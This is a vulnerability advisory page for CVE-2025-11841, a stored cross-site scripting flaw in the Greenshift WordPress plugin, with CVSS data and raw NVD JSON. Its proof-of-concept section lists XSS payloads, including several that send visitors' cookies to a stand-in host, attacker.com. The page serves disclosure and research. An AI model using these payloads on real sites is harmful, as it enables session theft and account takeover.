Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11841 CVSS 6.4 MEDIUM

CVE-2025-11841

Published: 2025-11-04 03:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Greenshift – animation and page builder blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Chart Data attributes in all versions up to, and including, 12.2.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Greenshift (WordPress plugin) <= 12.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11841 PoC: Stored XSS via Chart Data --> <!-- Attacker needs Contributor-level access or higher --> <!-- Step 1: Create/Edit a post with Greenshift chart block --> <!-- Step 2: Inject XSS payload in Chart Data attribute --> <!-- Example XSS Payload --> <script>alert('XSS - CVE-2025-11841')</script> <!-- More sophisticated payload for cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker.com/steal?c=' + document.cookie; </script> <!-- Using img onerror for bypass --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+btoa(document.cookie))"> <!-- SVG-based XSS payload --> <svg/onload=fetch('https://attacker.com/?data='+btoa(document.cookie))>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11841", "sourceIdentifier": "[email protected]", "published": "2025-11-04T03:15:49.467", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Greenshift – animation and page builder blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Chart Data attributes in all versions up to, and including, 12.2.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3386004/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ee2455fb-69b9-4dbc-9c59-fd2cdd5b4d0f?source=cve", "source": "[email protected]"}]}}